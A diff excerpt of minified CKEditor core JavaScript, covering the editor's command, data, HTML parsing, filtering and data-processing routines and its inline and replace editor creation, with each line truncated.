+new CKEDITOR.dom.elementPath(a,this.editable()):null},createRange:function(){var a=this.editable();return a?new CKEDITOR.dom.range(a):null},execCommand:function(a,b){var c=this.getCommand(a),d={name:a,commandData:b,command:c};if(c&&c.state!=CKEDITOR.TRISTATE_DISABLED&&this.fire("beforeCommandExec",d)!==true){d.returnValue=c.exec(d.commandData);if(!c.async&&this.fire("afterCommandExec",d)!==true)return d.returnValue}return false},getCommand:function(a){return this.commands[a]},getData:fun [...]
+this.fire("beforeGetData");var b=this._.data;if(typeof b!="string")b=(b=this.element)&&this.elementMode==CKEDITOR.ELEMENT_MODE_REPLACE?b.is("textarea")?b.getValue():b.getHtml():"";b={dataValue:b};!a&&this.fire("getData",b);return b.dataValue},getSnapshot:function(){var a=this.fire("getSnapshot");if(typeof a!="string"){var b=this.element;b&&this.elementMode==CKEDITOR.ELEMENT_MODE_REPLACE&&(a=b.is("textarea")?b.getValue():b.getHtml())}return a},loadSnapshot:function(a){this.fire("loadSnaps [...]
+setData:function(a,b,c){if(b)this.on("dataReady",function(a){a.removeListener();b.call(a.editor)});a={dataValue:a};!c&&this.fire("setData",a);this._.data=a.dataValue;!c&&this.fire("afterSetData",a)},setReadOnly:function(a){a=a==void 0||a;if(this.readOnly!=a){this.readOnly=a;this.editable().setReadOnly(a);this.fire("readOnly")}},insertHtml:function(a,b){this.fire("insertHtml",{dataValue:a,mode:b})},insertText:function(a){this.fire("insertText",a)},insertElement:function(a){this.fire("inse [...]
+a)},focus:function(){this.fire("beforeFocus")},checkDirty:function(){return this._.previousValue!==this.getSnapshot()},resetDirty:function(){this._.previousValue=this.getSnapshot()},updateElement:function(){return l.call(this)},setKeystroke:function(){for(var a=this.keystrokeHandler.keystrokes,b=CKEDITOR.tools.isArray(arguments[0])?arguments[0]:[[].slice.call(arguments,0)],c,d,n=b.length;n--;){c=b[n];d=0;if(CKEDITOR.tools.isArray(c)){d=c[1];c=c[0]}d?a[c]=d:delete a[c]}}})})();
+CKEDITOR.ELEMENT_MODE_NONE=0;CKEDITOR.ELEMENT_MODE_REPLACE=1;CKEDITOR.ELEMENT_MODE_APPENDTO=2;CKEDITOR.ELEMENT_MODE_INLINE=3;CKEDITOR.htmlParser=function(){this._={htmlPartsRegex:RegExp("<(?:(?:\\/([^>]+)>)|(?:!--([\\S|\\s]*?)--\>)|(?:([^\\s>]+)\\s*((?:(?:\"[^\"]*\")|(?:'[^']*')|[^\"'>])*)\\/?>))","g")}};
+(function(){var b=/([\w\-:.]+)(?:(?:\s*=\s*(?:(?:"([^"]*)")|(?:'([^']*)')|([^\s>]+)))|(?=\s|$))/g,c={checked:1,compact:1,declare:1,defer:1,disabled:1,ismap:1,multiple:1,nohref:1,noresize:1,noshade:1,nowrap:1,readonly:1,selected:1};CKEDITOR.htmlParser.prototype={onTagOpen:function(){},onTagClose:function(){},onText:function(){},onCDATA:function(){},onComment:function(){},parse:function(a){for(var f,e,d=0,g;f=this._.htmlPartsRegex.exec(a);){e=f.index;if(e>d){d=a.substring(d,e);if(g)g.push( [...]
+this._.htmlPartsRegex.lastIndex;if(e=f[1]){e=e.toLowerCase();if(g&&CKEDITOR.dtd.$cdata[e]){this.onCDATA(g.join(""));g=null}if(!g){this.onTagClose(e);continue}}if(g)g.push(f[0]);else if(e=f[3]){e=e.toLowerCase();if(!/="/.test(e)){var k={},h;f=f[4];var l=!!(f&&f.charAt(f.length-1)=="/");if(f)for(;h=b.exec(f);){var m=h[1].toLowerCase();h=h[2]||h[3]||h[4]||"";k[m]=!h&&c[m]?m:h}this.onTagOpen(e,k,l);!g&&CKEDITOR.dtd.$cdata[e]&&(g=[])}}else if(e=f[2])this.onComment(e)}if(a.length>d)this.onText [...]
+a.length))}}})();
+CKEDITOR.htmlParser.basicWriter=CKEDITOR.tools.createClass({$:function(){this._={output:[]}},proto:{openTag:function(b){this._.output.push("<",b)},openTagClose:function(b,c){c?this._.output.push(" />"):this._.output.push(">")},attribute:function(b,c){typeof c=="string"&&(c=CKEDITOR.tools.htmlEncodeAttr(c));this._.output.push(" ",b,'="',c,'"')},closeTag:function(b){this._.output.push("</",b,">")},text:function(b){this._.output.push(b)},comment:function(b){this._.output.push("<\!--",b,"--\ [...]
+reset:function(){this._.output=[];this._.indent=false},getHtml:function(b){var c=this._.output.join("");b&&this.reset();return c}}});CKEDITOR.htmlParser.comment=function(b){this.value=b;this._={isBlockLike:false}};CKEDITOR.htmlParser.comment.prototype={type:CKEDITOR.NODE_COMMENT,writeHtml:function(b,c){var a=this.value;if(c){if(!(a=c.onComment(a,this)))return;if(typeof a!="string"){a.parent=this.parent;a.writeHtml(b,c);return}}b.comment(a)}};
+(function(){CKEDITOR.htmlParser.text=function(b){this.value=b;this._={isBlockLike:false}};CKEDITOR.htmlParser.text.prototype={type:CKEDITOR.NODE_TEXT,writeHtml:function(b,c){var a=this.value;(!c||(a=c.onText(a,this)))&&b.text(a)}}})();(function(){CKEDITOR.htmlParser.cdata=function(b){this.value=b};CKEDITOR.htmlParser.cdata.prototype={type:CKEDITOR.NODE_TEXT,writeHtml:function(b){b.write(this.value)}}})();
+CKEDITOR.htmlParser.fragment=function(){this.children=[];this.parent=null;this._={isBlockLike:true,hasInlineStarted:false}};
+(function(){function b(a){return a.name=="a"&&a.attributes.href||CKEDITOR.dtd.$removeEmpty[a.name]}var c=CKEDITOR.tools.extend({table:1,ul:1,ol:1,dl:1},CKEDITOR.dtd.table,CKEDITOR.dtd.ul,CKEDITOR.dtd.ol,CKEDITOR.dtd.dl),a={ol:1,ul:1},f=CKEDITOR.tools.extend({},{html:1},CKEDITOR.dtd.html,CKEDITOR.dtd.body,CKEDITOR.dtd.head,{style:1,script:1});CKEDITOR.htmlParser.fragment.fromHtml=function(e,d,g){function k(a){var b;if(y.length>0)for(var c=0;c<y.length;c++){var d=y[c],n=d.name,i=CKEDITOR.d [...]
+CKEDITOR.dtd[j.name];if((!o||o[n])&&(!a||!i||i[a]||!CKEDITOR.dtd[a])){if(!b){h();b=1}d=d.clone();d.parent=j;j=d;y.splice(c,1);c--}else if(n==j.name){m(j,j.parent,1);c--}}}function h(){for(;z.length;)m(z.shift(),j)}function l(a){if(a._.isBlockLike&&a.name!="pre"&&a.name!="textarea"){var b=a.children.length,c=a.children[b-1],d;if(c&&c.type==CKEDITOR.NODE_TEXT)(d=CKEDITOR.tools.rtrim(c.value))?c.value=d:a.children.length=b-1}}function m(a,c,d){var c=c||j||q,o=j;if(a.previous===void 0){if(n( [...]
+i.onTagOpen(g,{});a.returnPoint=c=j}l(a);(!b(a)||a.children.length)&&c.add(a);a.name=="pre"&&(A=false);a.name=="textarea"&&(s=false)}if(a.returnPoint){j=a.returnPoint;delete a.returnPoint}else j=d?c:o}function n(a,b){if((a==q||a.name=="body")&&g&&(!a.name||CKEDITOR.dtd[a.name][g])){var c,d;return(c=b.attributes&&(d=b.attributes["data-cke-real-element-type"])?d:b.name)&&c in CKEDITOR.dtd.$inline&&!(c in CKEDITOR.dtd.head)&&!b.isOrphan||b.type==CKEDITOR.NODE_TEXT}}function o(a,b){return a [...]
+a in CKEDITOR.dtd.$tableContent?a==b||a=="dt"&&b=="dd"||a=="dd"&&b=="dt":false}var i=new CKEDITOR.htmlParser,q=d instanceof CKEDITOR.htmlParser.element?d:typeof d=="string"?new CKEDITOR.htmlParser.element(d):new CKEDITOR.htmlParser.fragment,y=[],z=[],j=q,s=q.name=="textarea",A=q.name=="pre";i.onTagOpen=function(d,n,g,e){n=new CKEDITOR.htmlParser.element(d,n);if(n.isUnknown&&g)n.isEmpty=true;n.isOptionalClose=e;if(b(n))y.push(n);else{if(d=="pre")A=true;else{if(d=="br"&&A){j.add(new CKEDIT [...]
+return}d=="textarea"&&(s=true)}if(d=="br")z.push(n);else{for(;;){e=(g=j.name)?CKEDITOR.dtd[g]||(j._.isBlockLike?CKEDITOR.dtd.div:CKEDITOR.dtd.span):f;if(!n.isUnknown&&!j.isUnknown&&!e[d])if(j.isOptionalClose)i.onTagClose(g);else if(d in a&&g in a){g=j.children;(g=g[g.length-1])&&g.name=="li"||m(g=new CKEDITOR.htmlParser.element("li"),j);!n.returnPoint&&(n.returnPoint=j);j=g}else if(d in CKEDITOR.dtd.$listItem&&!o(d,g))i.onTagOpen(d=="li"?"ul":"dl",{},0,1);else if(g in c&&!o(d,g)){!n.retu [...]
+(n.returnPoint=j);j=j.parent}else{g in CKEDITOR.dtd.$inline&&y.unshift(j);if(j.parent)m(j,j.parent,1);else{n.isOrphan=1;break}}else break}k(d);h();n.parent=j;n.isEmpty?m(n):j=n}}};i.onTagClose=function(a){for(var b=y.length-1;b>=0;b--)if(a==y[b].name){y.splice(b,1);return}for(var c=[],d=[],n=j;n!=q&&n.name!=a;){n._.isBlockLike||d.unshift(n);c.push(n);n=n.returnPoint||n.parent}if(n!=q){for(b=0;b<c.length;b++){var i=c[b];m(i,i.parent)}j=n;n._.isBlockLike&&h();m(n,n.parent);if(n==j)j=j.pare [...]
+"body"&&(g=false)};i.onText=function(b){if((!j._.hasInlineStarted||z.length)&&!A&&!s){b=CKEDITOR.tools.ltrim(b);if(b.length===0)return}var d=j.name,o=d?CKEDITOR.dtd[d]||(j._.isBlockLike?CKEDITOR.dtd.div:CKEDITOR.dtd.span):f;if(!s&&!o["#"]&&d in c){i.onTagOpen(d in a?"li":d=="dl"?"dd":d=="table"?"tr":d=="tr"?"td":"");i.onText(b)}else{h();k();!A&&!s&&(b=b.replace(/[\t\r\n ]{2,}|[\t\r\n]/g," "));b=new CKEDITOR.htmlParser.text(b);if(n(j,b))this.onTagOpen(g,{},0,1);j.add(b)}};i.onCDATA=functi [...]
+i.onComment=function(a){h();k();j.add(new CKEDITOR.htmlParser.comment(a))};i.parse(e);for(h(!CKEDITOR.env.ie&&1);j!=q;)m(j,j.parent,1);l(q);return q};CKEDITOR.htmlParser.fragment.prototype={type:CKEDITOR.NODE_DOCUMENT_FRAGMENT,add:function(a,b){isNaN(b)&&(b=this.children.length);var c=b>0?this.children[b-1]:null;if(c){if(a._.isBlockLike&&c.type==CKEDITOR.NODE_TEXT){c.value=CKEDITOR.tools.rtrim(c.value);if(c.value.length===0){this.children.pop();this.add(a);return}}c.next=a}a.previous=c;a [...]
+this.children.splice(b,0,a);if(!this._.hasInlineStarted)this._.hasInlineStarted=a.type==CKEDITOR.NODE_TEXT||a.type==CKEDITOR.NODE_ELEMENT&&!a._.isBlockLike},writeHtml:function(a,b){var c;this.filterChildren=function(){var a=new CKEDITOR.htmlParser.basicWriter;this.writeChildrenHtml.call(this,a,b);a=a.getHtml();this.children=(new CKEDITOR.htmlParser.fragment.fromHtml(a)).children;c=1};b&&b.onRoot(this);this.writeChildrenHtml(a,c?null:b)},writeChildrenHtml:function(a,b,c){if(c&&!this.paren [...]
+for(c=0;c<this.children.length;c++)this.children[c].writeHtml(a,b)}}})();
+(function(){function b(a,b){for(var c=0;a&&c<b.length;c++)var e=b[c],a=a.replace(e[0],e[1]);return a}function c(a,b,c){typeof b=="function"&&(b=[b]);var e,f;f=a.length;var m=b&&b.length;if(m){for(e=0;e<f&&a[e].pri<c;e++);for(f=m-1;f>=0;f--)if(m=b[f]){m.pri=c;a.splice(e,0,m)}}}function a(a,b,c){if(b)for(var e in b){var l=a[e];a[e]=f(l,b[e],c);l||a.$length++}}function f(a,b,f){if(b){b.pri=f;if(a){if(a.splice)c(a,b,f);else{a=a.pri>f?[b,a]:[a,b];a.filter=e}return a}return b.filter=b}}functio [...]
+a.type||a instanceof CKEDITOR.htmlParser.fragment,c=0;c<this.length;c++){if(b)var e=a.type,f=a.name;var m=this[c].apply(window,arguments);if(m===false)return m;if(b){if(m&&(m.name!=f||m.type!=e))return m}else if(typeof m!="string")return m;m!=void 0&&(a=m)}return a}CKEDITOR.htmlParser.filter=CKEDITOR.tools.createClass({$:function(a){this._={elementNames:[],attributeNames:[],elements:{$length:0},attributes:{$length:0}};a&&this.addRules(a,10)},proto:{addRules:function(b,e){typeof e!="numbe [...]
+c(this._.elementNames,b.elementNames,e);c(this._.attributeNames,b.attributeNames,e);a(this._.elements,b.elements,e);a(this._.attributes,b.attributes,e);this._.text=f(this._.text,b.text,e)||this._.text;this._.comment=f(this._.comment,b.comment,e)||this._.comment;this._.root=f(this._.root,b.root,e)||this._.root},onElementName:function(a){return b(a,this._.elementNames)},onAttributeName:function(a){return b(a,this._.attributeNames)},onText:function(a){var b=this._.text;return b?b.filter(a): [...]
+b){var c=this._.comment;return c?c.filter(a,b):a},onRoot:function(a){var b=this._.root;return b?b.filter(a):a},onElement:function(a){for(var b=[this._.elements["^"],this._.elements[a.name],this._.elements.$],c,e=0;e<3;e++)if(c=b[e]){c=c.filter(a,this);if(c===false)return null;if(c&&c!=a)return this.onNode(c);if(a.parent&&!a.name)break}return a},onNode:function(a){var b=a.type;return b==CKEDITOR.NODE_ELEMENT?this.onElement(a):b==CKEDITOR.NODE_TEXT?new CKEDITOR.htmlParser.text(this.onText( [...]
+b==CKEDITOR.NODE_COMMENT?new CKEDITOR.htmlParser.comment(this.onComment(a.value)):null},onAttribute:function(a,b,c){if(b=this._.attributes[b]){a=b.filter(c,a,this);if(a===false)return false;if(typeof a!="undefined")return a}return c}}})})();
+(function(){function b(b,c){function n(a){return a||CKEDITOR.env.ie?new CKEDITOR.htmlParser.text(" "):new CKEDITOR.htmlParser.element("br",{"data-cke-bogus":1})}function i(b,c){return function(i){if(i.type!=CKEDITOR.NODE_DOCUMENT_FRAGMENT){var e=[],g=a(i),j,K;if(g)for(o(g,1)&&e.push(g);g;){if(d(g)&&(j=f(g))&&o(j))if((K=f(j))&&!d(K))e.push(j);else{var h=j,q=n(t),l=h.parent.children,y=CKEDITOR.tools.indexOf(l,h);l.splice(y+1,0,q);l=h.next;h.next=q;q.previous=h;q.parent=h.parent;q.next=l;k( [...]
+0;g<e.length;g++)k(e[g]);if(e=CKEDITOR.env.opera&&!b||(typeof c=="function"?c(i)!==false:c))if(!t&&CKEDITOR.env.ie&&i.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT)e=false;else if(!t&&CKEDITOR.env.ie&&(document.documentMode>7||i.name in CKEDITOR.dtd.tr||i.name in CKEDITOR.dtd.$listItem))e=false;else{e=a(i);e=!e||i.name=="form"&&e.name=="input"}e&&i.add(n(b))}}}function o(a,b){if((!t||!CKEDITOR.env.ie)&&a.type==CKEDITOR.NODE_ELEMENT&&a.name=="br"&&!a.attributes["data-cke-eol"])return true;var c;i [...]
+CKEDITOR.NODE_TEXT&&(c=a.value.match(s))){if(c.index){g(a,new CKEDITOR.htmlParser.text(a.value.substring(0,c.index)));a.value=c[0]}if(CKEDITOR.env.ie&&t&&(!b||a.parent.name in h))return true;if(!t)if((c=a.previous)&&c.name=="br"||!c||d(c))return true}return false}var j={elements:{}},t=c=="html",h=CKEDITOR.tools.extend({},D),q;for(q in h)"#"in B[q]||delete h[q];for(q in h)j.elements[q]=i(t,b.config.fillEmptyBlocks!==false);j.root=i(t);j.elements.br=function(a){return function(b){if(b.pare [...]
+CKEDITOR.NODE_DOCUMENT_FRAGMENT){var c=b.attributes;if("data-cke-bogus"in c||"data-cke-eol"in c)delete c["data-cke-bogus"];else{for(c=b.next;c&&e(c);)c=c.next;var i=f(b);if(!c&&d(b.parent)){b=b.parent;c=n(a);i=b.children[b.children.length-1];b.children.push(c);c.parent=b;if(i){i.next=c;c.previous=i}}else d(c)&&(i&&!d(i))&&g(c,n(a))}}}}(t);return j}function c(a){return a.enterMode!=CKEDITOR.ENTER_BR&&a.autoParagraph!==false?a.enterMode==CKEDITOR.ENTER_DIV?"div":"p":false}function a(a){for [...]
+1];a&&e(a);)a=a.previous;return a}function f(a){for(a=a.previous;a&&e(a);)a=a.previous;return a}function e(a){return a.type==CKEDITOR.NODE_TEXT&&!CKEDITOR.tools.trim(a.value)||a.type==CKEDITOR.NODE_ELEMENT&&a.attributes["data-cke-bookmark"]}function d(a){return a&&(a.type==CKEDITOR.NODE_ELEMENT&&a.name in D||a.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT)}function g(a,b){var c=a.parent.children,d=CKEDITOR.tools.indexOf(c,a);c.splice(d,0,b);c=a.previous;a.previous=b;b.next=a;b.parent=a.parent;if [...]
+c;c.next=b}}function k(a){var b=a.parent.children,c=CKEDITOR.tools.indexOf(b,a),d=a.previous,a=a.next;d&&(d.next=a);a&&(a.previous=d);b.splice(c,1)}function h(a){var b=a.parent;return b?CKEDITOR.tools.indexOf(b.children,a):-1}function l(a){a=a.attributes;a.contenteditable!="false"&&(a["data-cke-editable"]=a.contenteditable?"true":1);a.contenteditable="false"}function m(a){a=a.attributes;switch(a["data-cke-editable"]){case "true":a.contenteditable="true";break;case "1":delete a.contentedi [...]
+function(a,b,c){return"<"+b+c.replace(t,function(a,b){return!/^on/.test(b)&&c.indexOf("data-cke-saved-"+b)==-1?" data-cke-saved-"+a+" data-cke-"+CKEDITOR.rnd+"-"+a:a})+">"})}function o(a){return a.replace(w,function(a){return"<cke:encoded>"+encodeURIComponent(a)+"</cke:encoded>"})}function i(a){return a.replace(I,function(a,b){return decodeURIComponent(b)})}function q(a){return a.replace(/<\!--(?!{cke_protected})[\s\S]+?--\>/g,function(a){return"<\!--"+A+"{C}"+encodeURIComponent(a).repla [...]
+"%2D%2D")+"--\>"})}function y(a){return a.replace(/<\!--\{cke_protected\}\{C\}([\s\S]+?)--\>/g,function(a,b){return decodeURIComponent(b)})}function z(a,b){var c=b._.dataStore;return a.replace(/<\!--\{cke_protected\}([\s\S]+?)--\>/g,function(a,b){return decodeURIComponent(b)}).replace(/\{cke_protected_(\d+)\}/g,function(a,b){return c&&c[b]||""})}function j(a,b){for(var c=[],d=b.config.protectedSource,n=b._.dataStore||(b._.dataStore={id:1}),i=/<\!--\{cke_temp(comment)?\}(\d*?)--\>/g,d=[/< [...]
+/<noscript[\s\S]*?<\/noscript>/gi].concat(d),a=a.replace(/<\!--[\s\S]*?--\>/g,function(a){return"<\!--{cke_tempcomment}"+(c.push(a)-1)+"--\>"}),o=0;o<d.length;o++)a=a.replace(d[o],function(a){a=a.replace(i,function(a,b,d){return c[d]});return/cke_temp(comment)?/.test(a)?a:"<\!--{cke_temp}"+(c.push(a)-1)+"--\>"});a=a.replace(i,function(a,b,d){return"<\!--"+A+(b?"{C}":"")+encodeURIComponent(c[d]).replace(/--/g,"%2D%2D")+"--\>"});return a.replace(/(['"]).*?\1/g,function(a){return a.replace( [...]
+function(a,b){n[n.id]=decodeURIComponent(b);return"{cke_protected_"+n.id++ +"}"})})}CKEDITOR.htmlDataProcessor=function(a){var c,d;this.editor=a;this.dataFilter=c=new CKEDITOR.htmlParser.filter;this.htmlFilter=d=new CKEDITOR.htmlParser.filter;this.writer=new CKEDITOR.htmlParser.basicWriter;c.addRules(u);c.addRules(b(a,"data"));d.addRules(r);d.addRules(b(a,"html"))};CKEDITOR.htmlDataProcessor.prototype={toHtml:function(a,b,d){var a=j(a,this.editor),a=n(a),a=o(a),a=a.replace(G,"$1cke:$2"), [...]
+"<cke:$1$2></cke:$1>"),a=CKEDITOR.env.opera?a:a.replace(/(<pre\b[^>]*>)(\r\n|\n)/g,"$1$2$2"),e=this.editor.editable(),f;!b&&b!==null&&(b=e.getName());e=b||e.getName();if(CKEDITOR.env.ie&&CKEDITOR.env.version<9&&e=="pre"){e="div";a="<pre>"+a+"</pre>";f=1}e=this.editor.document.createElement(e);e.setHtml("a"+a);a=e.getHtml().substr(1);a=a.replace(RegExp(" data-cke-"+CKEDITOR.rnd+"-","ig")," ");f&&(a=a.replace(/^<pre>|<\/pre>$/gi,""));a=a.replace(C,"$1$2");a=i(a);a=y(a);a=CKEDITOR.htmlParse [...]
+b,d===false?false:c(this.editor.config));b=new CKEDITOR.htmlParser.basicWriter;a.writeChildrenHtml(b,this.dataFilter,1);a=b.getHtml(true);return a=q(a)},toDataFormat:function(a){var b=this.editor.editable(),d=this.writer,a=CKEDITOR.htmlParser.fragment.fromHtml(a,b.getName(),c(this.editor.config));d.reset();a.writeChildrenHtml(d,this.htmlFilter,1);d=d.getHtml(true);d=y(d);return d=z(d,this.editor)}};var s=/(?: |\xa0)$/,A="{cke_protected}",B=CKEDITOR.dtd,p=["caption","colgroup","col", [...]
+"tbody"],D=CKEDITOR.tools.extend({},B.$blockLimit,B.$block),u={elements:{},attributeNames:[[/^on/,"data-cke-pa-on"]]},r={elementNames:[[/^cke:/,""],[/^\?xml:namespace$/,""]],attributeNames:[[/^data-cke-(saved|pa)-/,""],[/^data-cke-.*/,""],["hidefocus",""]],elements:{$:function(a){var b=a.attributes;if(b){if(b["data-cke-temp"])return false;for(var c=["name","href","src"],d,n=0;n<c.length;n++){d="data-cke-saved-"+c[n];d in b&&delete b[c[n]]}}return a},table:function(a){a.children.slice(0). [...]
+b){var c,d;if(a.type==CKEDITOR.NODE_ELEMENT&&b.type==a.type){c=CKEDITOR.tools.indexOf(p,a.name);d=CKEDITOR.tools.indexOf(p,b.name)}if(!(c>-1&&d>-1&&c!=d)){c=h(a);d=h(b)}return c>d?1:-1})},embed:function(a){var b=a.parent;if(b&&b.name=="object"){var c=b.attributes.width,b=b.attributes.height;c&&(a.attributes.width=c);b&&(a.attributes.height=b)}},param:function(a){a.children=[];a.isEmpty=true;return a},a:function(a){if(!a.children.length&&!a.attributes.name&&!a.attributes["data-cke-saved-n [...]
+span:function(a){a.attributes["class"]=="Apple-style-span"&&delete a.name},html:function(a){delete a.attributes.contenteditable;delete a.attributes["class"]},body:function(a){delete a.attributes.spellcheck;delete a.attributes.contenteditable},style:function(a){var b=a.children[0];b&&b.value&&(b.value=CKEDITOR.tools.trim(b.value));if(!a.attributes.type)a.attributes.type="text/css"},title:function(a){var b=a.children[0];b&&(b.value=a.attributes["data-cke-title"]||"")}},attributes:{"class": [...]
+""))||false}}};if(CKEDITOR.env.ie)r.attributes.style=function(a){return a.replace(/(^|;)([^\:]+)/g,function(a){return a.toLowerCase()})};for(var F in{input:1,textarea:1}){u.elements[F]=l;r.elements[F]=m}var v=/<(a|area|img|input|source)\b([^>]*)>/gi,t=/\b(on\w+|href|src|name)\s*=\s*(?:(?:"[^"]*")|(?:'[^']*')|(?:[^ "'>]+))/gi,w=/(?:<style(?=[ >])[^>]*>[\s\S]*<\/style>)|(?:<(:?link|meta|base)[^>]*>)/gi,I=/<cke:encoded>([^<]*)<\/cke:encoded>/gi,G=/(<\/?)((?:object|embed|param|html|body|head [...]
+C=/(<\/?)cke:((?:html|body|head|title)[^>]*>)/gi,Q=/<cke:(param|embed)([^>]*?)\/?>(?!\s*<\/cke:\1)/gi})();
+CKEDITOR.htmlParser.element=function(b,c){this.name=b;this.attributes=c||{};this.children=[];var a=b||"",f=a.match(/^cke:(.*)/);f&&(a=f[1]);a=!(!CKEDITOR.dtd.$nonBodyContent[a]&&!CKEDITOR.dtd.$block[a]&&!CKEDITOR.dtd.$listItem[a]&&!CKEDITOR.dtd.$tableContent[a]&&!(CKEDITOR.dtd.$nonEditable[a]||a=="br"));this.isEmpty=!!CKEDITOR.dtd.$empty[b];this.isUnknown=!CKEDITOR.dtd[b];this._={isBlockLike:a,hasInlineStarted:this.isEmpty||!a}};
+CKEDITOR.htmlParser.cssStyle=function(b){var c={};((b instanceof CKEDITOR.htmlParser.element?b.attributes.style:b)||"").replace(/"/g,'"').replace(/\s*([^ :;]+)\s*:\s*([^;]+)\s*(?=;|$)/g,function(a,b,e){b=="font-family"&&(e=e.replace(/["']/g,""));c[b.toLowerCase()]=e});return{rules:c,populate:function(a){var b=this.toString();if(b)a instanceof CKEDITOR.dom.element?a.setAttribute("style",b):a instanceof CKEDITOR.htmlParser.element?a.attributes.style=b:a.style=b},toString:function(){va [...]
+for(b in c)c[b]&&a.push(b,":",c[b],";");return a.join("")}}};
+(function(){var b=function(b,a){b=b[0];a=a[0];return b<a?-1:b>a?1:0};CKEDITOR.htmlParser.element.prototype={type:CKEDITOR.NODE_ELEMENT,add:CKEDITOR.htmlParser.fragment.prototype.add,clone:function(){return new CKEDITOR.htmlParser.element(this.name,this.attributes)},writeHtml:function(c,a){var f=this.attributes,e=this,d=e.name,g,k,h,l;e.filterChildren=function(){if(!l){var b=new CKEDITOR.htmlParser.basicWriter;CKEDITOR.htmlParser.fragment.prototype.writeChildrenHtml.call(e,b,a);e.children [...]
+e.clone(),0)).children;l=1}};if(a){if(!this.parent)a.onRoot(this);for(;;){if(!(d=a.onElementName(d)))return;e.name=d;if(!(e=a.onElement(e)))return;e.parent=this.parent;if(e.name==d)break;if(e.type!=CKEDITOR.NODE_ELEMENT){e.writeHtml(c,a);return}d=e.name;if(!d){for(var d=0,m=this.children.length;d<m;d++)this.children[d].parent=e.parent;this.writeChildrenHtml.call(e,c,l?null:a);return}}f=e.attributes}c.openTag(d,f);for(var m=[],n=0;n<2;n++)for(g in f){k=g;h=f[g];if(n==1)m.push([g,h]);else [...]
+a.onAttributeName(g))if(k!=g){delete f[g];g=k}else break;else{delete f[g];break}k&&((h=a.onAttribute(e,k,h))===false?delete f[k]:f[k]=h)}}c.sortAttributes&&m.sort(b);f=m.length;for(n=0;n<f;n++){g=m[n];c.attribute(g[0],g[1])}c.openTagClose(d,e.isEmpty);if(!e.isEmpty){this.writeChildrenHtml.call(e,c,l?null:a);c.closeTag(d)}},writeChildrenHtml:function(b,a){CKEDITOR.htmlParser.fragment.prototype.writeChildrenHtml.apply(this,arguments)}}})();
+(function(){var b={};CKEDITOR.template=function(c){if(b[c])this.output=b[c];else{var a=c.replace(/'/g,"\\'").replace(/{([^}]+)}/g,function(a,b){return"',data['"+b+"']==undefined?'{"+b+"}':data['"+b+"'],'"});this.output=b[c]=Function("data","buffer","return buffer?buffer.push('"+a+"'):['"+a+"'].join('');")}}})();delete CKEDITOR.loadFullCore;CKEDITOR.instances={};CKEDITOR.document=new CKEDITOR.dom.document(document);
+CKEDITOR.add=function(b){CKEDITOR.instances[b.name]=b;b.on("focus",function(){if(CKEDITOR.currentInstance!=b){CKEDITOR.currentInstance=b;CKEDITOR.fire("currentInstance")}});b.on("blur",function(){if(CKEDITOR.currentInstance==b){CKEDITOR.currentInstance=null;CKEDITOR.fire("currentInstance")}});CKEDITOR.fire("instance",null,b)};CKEDITOR.remove=function(b){delete CKEDITOR.instances[b.name]};
+(function(){var b={};CKEDITOR.addTemplate=function(c,a){var f=b[c];if(f)return f;f={name:c,source:a};CKEDITOR.fire("template",f);return b[c]=new CKEDITOR.template(f.source)};CKEDITOR.getTemplate=function(c){return b[c]}})();(function(){var b=[];CKEDITOR.addCss=function(c){b.push(c)};CKEDITOR.getCss=function(){return b.join("\n")}})();CKEDITOR.on("instanceDestroyed",function(){CKEDITOR.tools.isEmpty(this.instances)&&CKEDITOR.fire("reset")});CKEDITOR.TRISTATE_ON=1;CKEDITOR.TRISTATE_OFF=2;
+CKEDITOR.TRISTATE_DISABLED=0;
+(function(){CKEDITOR.inline=function(b,c){if(!CKEDITOR.env.isCompatible)return null;b=CKEDITOR.dom.element.get(b);if(b.getEditor())throw'The editor instance "'+b.getEditor().name+'" is already attached to the provided element.';var a=new CKEDITOR.editor(c,b,CKEDITOR.ELEMENT_MODE_INLINE);a.setData(b.getHtml(),null,true);a.on("loaded",function(){a.fire("uiReady");a.editable(b);a.container=b;a.setData(a.getData(1));a.fire("contentDom");a.mode="wysiwyg";a.fire("mode");a.fireOnce("instanceRea [...]
+null,a);a.resetDirty()},null,null,1E4);a.on("destroy",function(){a.element.clearCustomData();delete a.element});return a};CKEDITOR.inlineAll=function(){var b,c,a;for(a in CKEDITOR.dtd.$editable)for(var f=CKEDITOR.document.getElementsByTag(a),e=0,d=f.count();e<d;e++){b=f.getItem(e);if(b.getAttribute("contenteditable")=="true"){c={element:b,config:{}};CKEDITOR.fire("inline",c)!==false&&CKEDITOR.inline(b,c.config)}}};CKEDITOR.domReady(function(){!CKEDITOR.disableAutoInline&&CKEDITOR.inlineA [...]
+CKEDITOR.replaceClass="ckeditor";
+(function(){function b(b,e,k,h){if(!CKEDITOR.env.isCompatible)return null;b=CKEDITOR.dom.element.get(b);if(b.getEditor())throw'The editor instance "'+b.getEditor().name+'" is already attached to the provided element.';var l=new CKEDITOR.editor(e,b,h);h==CKEDITOR.ELEMENT_MODE_REPLACE&&b.setStyle("visibility","hidden");k&&l.setData(k,null,true);l.on("loaded",function(){a(l);h==CKEDITOR.ELEMENT_MODE_REPLACE&&l.config.autoUpdateElement&&f(l);l.setMode(l.config.startupMode,function(){l.fireOn [...]
+CKEDITOR.fire("instanceReady",null,l);l.resetDirty()})});l.on("destroy",c);return l}function c(){var a=this.container,b=this.element;if(a){a.clearCustomData();a.remove()}if(b){b.clearCustomData();this.elementMode==CKEDITOR.ELEMENT_MODE_REPLACE&&b.show();delete this.element}}function a(a){var b=a.name,c=a.element,f=a.elementMode,l=a.fire("uiSpace",{space:"top",html:""}).html,m=a.fireOnce("uiSpace",{space:"bottom",html:""}).html;e||(e=CKEDITOR.addTemplate("maincontainer",'<{outerEl} id="ck [...]
+CKEDITOR.env.cssClass+'" dir="{langDir}" lang="{langCode}" role="application" aria-labelledby="cke_{name}_arialbl"><span id="cke_{name}_arialbl" class="cke_voice_label">{voiceLabel}</span><{outerEl} class="cke_inner cke_reset" role="presentation">{topHtml}<{outerEl} id="{contentId}" class="cke_contents cke_reset" role="presentation"></{outerEl}>{bottomHtml}</{outerEl}></{outerEl}>'));b=CKEDITOR.dom.element.createFromHtml(e.output({id:a.id,name:b,langDir:a.lang.dir,langCode:a.langCode,vo [...]
